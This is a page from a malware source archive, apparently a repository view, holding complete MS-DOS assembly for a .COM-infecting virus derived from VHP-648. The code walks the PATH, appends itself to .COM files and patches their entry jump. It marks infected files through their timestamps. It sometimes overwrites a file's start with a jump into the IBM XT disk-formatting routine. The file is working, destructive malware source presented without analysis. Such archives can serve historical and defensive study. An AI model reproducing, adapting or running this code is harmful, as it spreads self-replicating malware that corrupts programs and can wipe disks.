MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vhp-435.asm
2021-01-12 18:04:54 -06:00

304 lines
6.8 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
newjmp equ 7Bh ;Code of jmp instruction
codeptr equ 7A ;Here is formed a jump to virus code
pname equ 78 ;Offset of file name in dir path
poffs equ 76 ;Address of 'PATH' string
errhnd equ 74 ;Old error handler
fname equ 70 ;Path name to search for
mydta equ 2C ;DTA for Find First/Next:
attrib equ 17 ;File attribute
time equ 16 ;File time
date equ 14 ;File date
fsize equ 12 ;File size
namez equ 0E ;File name found
start:
jmp short virus
nop
int 20
data label byte ;Data section
saveins db 3 dup (90) ;Original first 3 bytes
allcom db '*.COM',0 ;Filespec to search for
pathstr db 'PATH='
;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,5,0,0,0C8
virus:
push ax
push cx ;Save CX
call self ;Detrmine the program start address
nop ;For those looking for the E80000 pattern
self:
pop bx
sub bx,self-data-1 ;Keep BX pointed at data
cld
lea si,[bx+saveins-data] ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,bx ;Keep SI pointed at data
push bp ;Reserve local storage
mov bp,sp
sub sp,7C
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [bp-errhnd],bx
mov [bp-errhnd+2],es
mov ah,25 ;Set interrupt 24h handler
lea dx,[si+handler-data]
int 21
lea dx,[bp-mydta]
mov ah,1A ;Set DTA
int 21
push si
mov es,ds:[environ] ;Environment address
xor di,di
mov bx,si
srchfirst: ;Search 'PATH' in environment
lea si,[bx+pathstr-data]
lodsb
scasb ;Search for first letter ('P')
jne nextp
mov cx,4 ;4 letters in 'ATH='
rep cmpsb
je pfound ;PATH found, continue
nextp:
cmp byte ptr es:[di],0
je notfound ;End of environment?
mov cx,8000 ;Maximum 32 K in environment
mov al,0 ;If not, skip thru next 0
repne scasb ; (i.e. go to next variable)
jmp srchfirst ; and search again
notfound:
xor di,di ;0 indicates no PATH found
pfound:
pop si ;Restore SI & ES
pop es
mov [bp-poffs],di ;Save 'PATH' offset in poffs
lea di,[bp-fname]
mov [bp-pname],di
filesrch:
lea si,[bx+allcom-data]
mov cl,3 ;3 words in ASCIIZ '*.COM'
rep movsw ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
lea dx,[bp-fname]
mov cl,11b ;Hidden, Read/Only or Normal files
int 21
jc nextdir ;If not found, search in another directory
checkfile:
mov al,[bp-time] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is file size greather than 64,000 bytes?
cmp [bp-fsize],64000d
ja findnext ;If so, search for next file
;Is file size greater or equal to 10 bytes?
cmp word ptr [bp-fsize],10d
jae process ;If so, process file
findnext: ;Otherwise find the next file
mov ah,4F ;Find next file
int 21
jnc checkfile ;If found, go chech some conditions
nextdir:
mov si,[bp-poffs]
or si,si
jnz skip2
jmp olddta ;Exit if end of environment reached
skip2:
push ds ;Save DS
lea di,[bp-fname] ;Point ES:DI at fname
mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
cpydir:
lodsb ;Get a char from the PATH variable
cmp al,';' ;`;' means end of directory
je enddir
cmp al,0 ;0 means end of PATH variable
je endpath
stosb ;Put the char in fname
jmp cpydir ;Loop until done
endpath:
xor si,si ;Zero SI to indicate end of PATH
enddir:
pop ds ;Restore DS
mov [bp-poffs],si
cmp byte ptr [di-1],'\'
je skip3
mov al,'\' ;Add '\' if not already present
stosb
skip3:
mov [bp-pname],di
jmp filesrch
process:
mov di,[bp-pname]
lea si,[bp-namez] ;Point SI at namez
cpyname:
lodsb ;Copy name found to fname
stosb
cmp al,0
jne cpyname
mov si,bx ;Restore SI
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib]
and cl,not 1 ;Turn off Read Only flag
int 21
mov ax,3D02 ;Open file with Read/Write access
int 21
jc oldattr ;Exit on error
mov bx,ax ;Save file handle in BX
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz infect ;If not, contaminate file (don't destroy):
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
lea dx,[si+bad_jmp-data] ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
infect:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
lea dx,[si+saveins-data] ;Put them there
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
xor cx,cx ;0 bytes from end
xor dx,dx
int 21
jc oldtime ;Exit on error
add ax,virus-data-3 ;Add virus data length to get code offset
mov [bp-codeptr],ax ;Save result in codeptr
mov byte ptr [bp-newjmp],0E9
mov ah,40 ;Write to file handle
mov cx,endcode-data ;Virus code length as bytes to be written
mov dx,si ;Write from data to endcode
int 21
jc oldtime ;Exit on error
cmp ax,endcode-data ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
xor cx,cx ;Just at the file beginning
xor dx,dx
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cl,3 ;3 bytes to write
lea dx,[bp-newjmp] ;Write THESE bytes
int 21
oldtime:
mov dx,[bp-date] ;Restore file date
mov cx,[bp-time] ; and time
or cl,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cl,[bp-attrib] ;They were saved in fattrib
mov ch,0
lea dx,[bp-fname]
int 21
olddta:
mov ah,1A ;Set DTA
mov dx,80 ;Restore DTA
int 21
push ds ;Save DS
mov ax,2524 ;Set interrupt 24h handler
mov dx,[bp-errhnd] ;Restore saved handler
mov ds,[bp-errhnd+2]
int 21
pop ds ;Restore DS
exit:
mov sp,bp
pop bp ;Restore BP, CX & AX
pop cx
pop ax
xor bx,bx ;Clear registers
xor dx,dx
xor si,si
mov di,offset start ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret
handler: ;Critical error handler
mov al,0 ;Just ignore error
iret ; and return
endcode label byte
code ends
end start